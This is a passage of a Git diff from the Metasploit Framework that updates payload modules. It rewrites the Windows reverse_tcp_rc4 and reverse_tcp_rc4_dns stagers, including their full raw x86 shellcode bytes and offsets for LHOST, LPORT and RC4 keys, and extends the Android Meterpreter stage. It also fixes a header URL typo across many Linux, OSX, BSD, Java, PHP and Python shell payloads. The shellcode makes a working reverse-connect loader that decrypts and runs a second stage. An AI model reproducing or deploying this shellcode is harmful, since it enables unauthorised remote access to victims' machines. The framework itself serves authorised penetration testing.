"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + + "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + + "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" + + "\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xE8\x40\x00\x00\x00" + "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + - "\x58\x58\x58\x58\x58\x58\x58\x00\x6A\x00\x6A\x04\x56\x57\x68\x02" + - "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" + - "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" + - "\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3" + "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00" + + "\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x1C\x6A\x05\x50\x68\x02\x00" + + "\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85" + + "\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A" + + "\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40" + + "\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93" + + "\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29" + + "\xC6\x75\xEE\xC3" } )) diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb index 8775d727cc..47e408a4aa 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,48 +33,38 @@ module Metasploit3 'RequiresMidstager' => false, 'Offsets' => { - 'LHOST' => [ 194, 'ADDR' ], - 'LPORT' => [ 201, 'n' ], - 'ReverseConnectRetries' => [ 192, 'C'], - 'XORKey' => [ 249, '' ], - 'RC4Key' => [ 313, '' ], + 'LHOST' => [ 190, 'ADDR' ], + 'LPORT' => [ 197, 'n' ], + 'ReverseConnectRetries' => [ 188, 'C'], + 'XORKey' => [ 245, '' ], + 'RC4Key' => [ 307, '' ], }, 'Payload' => - - # Name: stager_reverse_tcp_rc4 - # Length: 400 bytes - # Port Offset: 201 - # Host Offset: 194 - # RetryCounter Offset: 192 - # ExitFunk Offset: 226 - # RC4Key Offset: 313 - # XORKey Offset: 249 - "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + - "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + - "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + - "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + - "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + - "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" + - "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" + - "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" + - "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A" + - "\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" + - "\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75" + - "\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" + - "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A" + - "\x40\x68\x00\x10\x00\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" + - "\x8D\x98\x00\x01\x00\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02" + - "\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\x5B\x59\x5D" + - "\x55\x57\x89\xDF\xE8\x10\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D" + - "\x65\x74\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75" + - "\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2" + - "\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75" + - "\xE8\x31\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14" + - "\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3" - + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + + "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + + "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" + + "\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\x7F\x00" + + "\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5" + + "\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5" + + "\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF" + + "\xD5\x8B\x36\x81\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A\x40\x68\x00\x10" + + "\x00\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x8D\x98\x00\x01" + + "\x00\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF" + + "\xD5\x01\xC3\x29\xC6\x75\xEE\x5B\x59\x5D\x55\x57\x89\xDF\xE8\x10" + + "\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D\x65\x74\x61\x73\x70\x6C" + + "\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75\xFB\x81\xEF\x00\x01\x00" + + "\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2\x0F\x02\x1C\x16\x8A\x14" + + "\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0\x02" + + "\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\x02\x14\x1F\x8A\x14" + + "\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3" } )) diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb index 45f86306b2..832860d5f8 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,51 +33,44 @@ module Metasploit3 'RequiresMidstager' => false, 'Offsets' => { - 'HostName' => [ 248, '' ], - 'LPORT' => [ 212, 'n' ], - 'ReverseConnectRetries' => [ 207, 'C'], - 'XORKey' => [ 329, '' ], - 'RC4Key' => [ 393, '' ] + # ExitFunk Offset: 297 + 'HostName' => [ 192, '' ], + 'LPORT' => [ 272, 'n' ], + 'ReverseConnectRetries' => [ 267, 'C'], + 'XORKey' => [ 320, '' ], + 'RC4Key' => [ 382, '' ] }, 'Payload' => - # Name: stager_reverse_tcp_rc4_dns - # Length: 480 bytes - # Port Offset: 212 - # HostName Offset: 248 - # RetryCounter Offset: 206 <-- this white lie causes stage0 to hang - # ExitFunk Offset: 237 - # RC4Key Offset: 393 - # XORKey Offset: 329 - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + - "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + - "\xD5\x97\xEB\x2F\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x1C\x6A\x05" + - "\x50\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74" + - "\x61\xFF\xD5\x85\xC0\x74\x51\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2" + - "\x56\xFF\xD5\xE8\xCC\xFF\xFF\xFF\x58\x58\x58\x58\x58\x58\x58\x58" + + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + + "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + + "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" + + "\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xE8\x40\x00\x00\x00" + "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + - "\x58\x58\x58\x58\x58\x58\x58\x00\x6A\x00\x6A\x04\x56\x57\x68\x02" + - "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A" + - "\x40\x68\x00\x10\x00\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" + - "\x8D\x98\x00\x01\x00\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02" + - "\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\x5B\x59\x5D" + - "\x55\x57\x89\xDF\xE8\x10\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D" + - "\x65\x74\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75" + - "\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2" + - "\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75" + - "\xE8\x31\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14" + - "\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3" + "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00" + + "\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x1C\x6A\x05\x50\x68\x02\x00" + + "\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85" + + "\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A" + + "\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6" + + "\x58\x4F\x52\x4B\x8D\x0E\x6A\x40\x68\x00\x10\x00\x00\x51\x6A\x00" + + "\x68\x58\xA4\x53\xE5\xFF\xD5\x8D\x98\x00\x01\x00\x00\x53\x56\x50" + + "\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6" + + "\x75\xEE\x5B\x59\x5D\x55\x57\x89\xDF\xE8\x10\x00\x00\x00\x52\x43" + + "\x34\x4B\x65\x79\x4D\x65\x74\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31" + + "\xC0\xAA\xFE\xC0\x75\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C" + + "\x07\x89\xC2\x80\xE2\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88" + + "\x14\x07\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07" + + "\x86\x14\x1F\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45" + + "\x49\x75\xE5\x5F\xC3" } )) diff --git a/modules/payloads/stagers/windows/x64/bind_tcp.rb b/modules/payloads/stagers/windows/x64/bind_tcp.rb index bd4f0e2a28..a002a71537 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index c2c8f9cdcb..6f5aa447df 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb index e3da6bcd4e..0650218c73 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/android/meterpreter.rb b/modules/payloads/stages/android/meterpreter.rb index 0aa648e08e..5c42790620 100644 --- a/modules/payloads/stages/android/meterpreter.rb +++ b/modules/payloads/stages/android/meterpreter.rb @@ -1,33 +1,35 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/payload/dalvik' -require 'msf/core/handler/reverse_tcp' -require 'msf/base/sessions/meterpreter_java' +require 'msf/base/sessions/meterpreter_android' require 'msf/base/sessions/meterpreter_options' module Metasploit3 include Msf::Sessions::MeterpreterOptions - # The stager should have already included this - #include Msf::Payload::Java - def initialize(info = {}) super(update_info(info, - 'Name' => 'Android Meterpreter', - 'Description' => 'Run a meterpreter server on Android', - 'Author' => [ + 'Name' => 'Android Meterpreter', + 'Description' => 'Run a meterpreter server on Android', + 'Author' => [ 'mihi', # all the hard work - 'egypt' # msf integration + 'egypt', # msf integration + 'anwarelmakrahy' # android extension ], - 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_Java_Java)) + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Android)) + + register_options( + [ + OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true]) + ], self.class) end # diff --git a/modules/payloads/stages/android/shell.rb b/modules/payloads/stages/android/shell.rb index 0ebba6357e..0d04451c27 100644 --- a/modules/payloads/stages/android/shell.rb +++ b/modules/payloads/stages/android/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/bsd/x86/shell.rb b/modules/payloads/stages/bsd/x86/shell.rb index 7084786274..5c7f5d9337 100644 --- a/modules/payloads/stages/bsd/x86/shell.rb +++ b/modules/payloads/stages/bsd/x86/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/bsdi/x86/shell.rb b/modules/payloads/stages/bsdi/x86/shell.rb index 402c69a854..1d18809993 100644 --- a/modules/payloads/stages/bsdi/x86/shell.rb +++ b/modules/payloads/stages/bsdi/x86/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/java/meterpreter.rb b/modules/payloads/stages/java/meterpreter.rb index e40dd4ab06..420f9699f2 100644 --- a/modules/payloads/stages/java/meterpreter.rb +++ b/modules/payloads/stages/java/meterpreter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/java/shell.rb b/modules/payloads/stages/java/shell.rb index 0a9b078fb6..16b71199e7 100644 --- a/modules/payloads/stages/java/shell.rb +++ b/modules/payloads/stages/java/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/linux/armle/shell.rb b/modules/payloads/stages/linux/armle/shell.rb index 041f385419..d53f725bb0 100644 --- a/modules/payloads/stages/linux/armle/shell.rb +++ b/modules/payloads/stages/linux/armle/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/linux/mipsbe/shell.rb b/modules/payloads/stages/linux/mipsbe/shell.rb index 59e40539ac..d6063cdc24 100644 --- a/modules/payloads/stages/linux/mipsbe/shell.rb +++ b/modules/payloads/stages/linux/mipsbe/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/linux/mipsle/shell.rb b/modules/payloads/stages/linux/mipsle/shell.rb index 97915d3480..c74c633f36 100644 --- a/modules/payloads/stages/linux/mipsle/shell.rb +++ b/modules/payloads/stages/linux/mipsle/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/linux/x64/shell.rb b/modules/payloads/stages/linux/x64/shell.rb index ee89e1828f..caf23a4953 100644 --- a/modules/payloads/stages/linux/x64/shell.rb +++ b/modules/payloads/stages/linux/x64/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index 9b221cc200..2ee655a5de 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/linux/x86/shell.rb b/modules/payloads/stages/linux/x86/shell.rb index 260b5a97b0..691d5e1fbc 100644 --- a/modules/payloads/stages/linux/x86/shell.rb +++ b/modules/payloads/stages/linux/x86/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/netware/shell.rb b/modules/payloads/stages/netware/shell.rb index 2026c55c6b..7f7dab8e47 100644 --- a/modules/payloads/stages/netware/shell.rb +++ b/modules/payloads/stages/netware/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/osx/armle/execute.rb b/modules/payloads/stages/osx/armle/execute.rb index 09dfb25037..6da688c80e 100644 --- a/modules/payloads/stages/osx/armle/execute.rb +++ b/modules/payloads/stages/osx/armle/execute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/osx/armle/shell.rb b/modules/payloads/stages/osx/armle/shell.rb index 535f00c9b9..f356a820a8 100644 --- a/modules/payloads/stages/osx/armle/shell.rb +++ b/modules/payloads/stages/osx/armle/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/osx/ppc/shell.rb b/modules/payloads/stages/osx/ppc/shell.rb index 1d400ca3a3..2d0b8d7457 100644 --- a/modules/payloads/stages/osx/ppc/shell.rb +++ b/modules/payloads/stages/osx/ppc/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/osx/x64/dupandexecve.rb b/modules/payloads/stages/osx/x64/dupandexecve.rb index 171ca8ebec..cda4f9f07a 100644 --- a/modules/payloads/stages/osx/x64/dupandexecve.rb +++ b/modules/payloads/stages/osx/x64/dupandexecve.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/osx/x86/bundleinject.rb b/modules/payloads/stages/osx/x86/bundleinject.rb index ae76489c62..3204ba2a67 100644 --- a/modules/payloads/stages/osx/x86/bundleinject.rb +++ b/modules/payloads/stages/osx/x86/bundleinject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/osx/x86/isight.rb b/modules/payloads/stages/osx/x86/isight.rb index 5c24b780c9..4b4a7d57a4 100644 --- a/modules/payloads/stages/osx/x86/isight.rb +++ b/modules/payloads/stages/osx/x86/isight.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/osx/x86/vforkshell.rb b/modules/payloads/stages/osx/x86/vforkshell.rb index 15aa3f784c..bd6acff024 100644 --- a/modules/payloads/stages/osx/x86/vforkshell.rb +++ b/modules/payloads/stages/osx/x86/vforkshell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index 0c55b56a81..1f66f8a851 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 63fce13671..a4a642a663 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,27 +8,35 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_python' require 'msf/base/sessions/meterpreter_options' - module Metasploit3 include Msf::Sessions::MeterpreterOptions def initialize(info = {}) super(update_info(info, 'Name' => 'Python Meterpreter', - 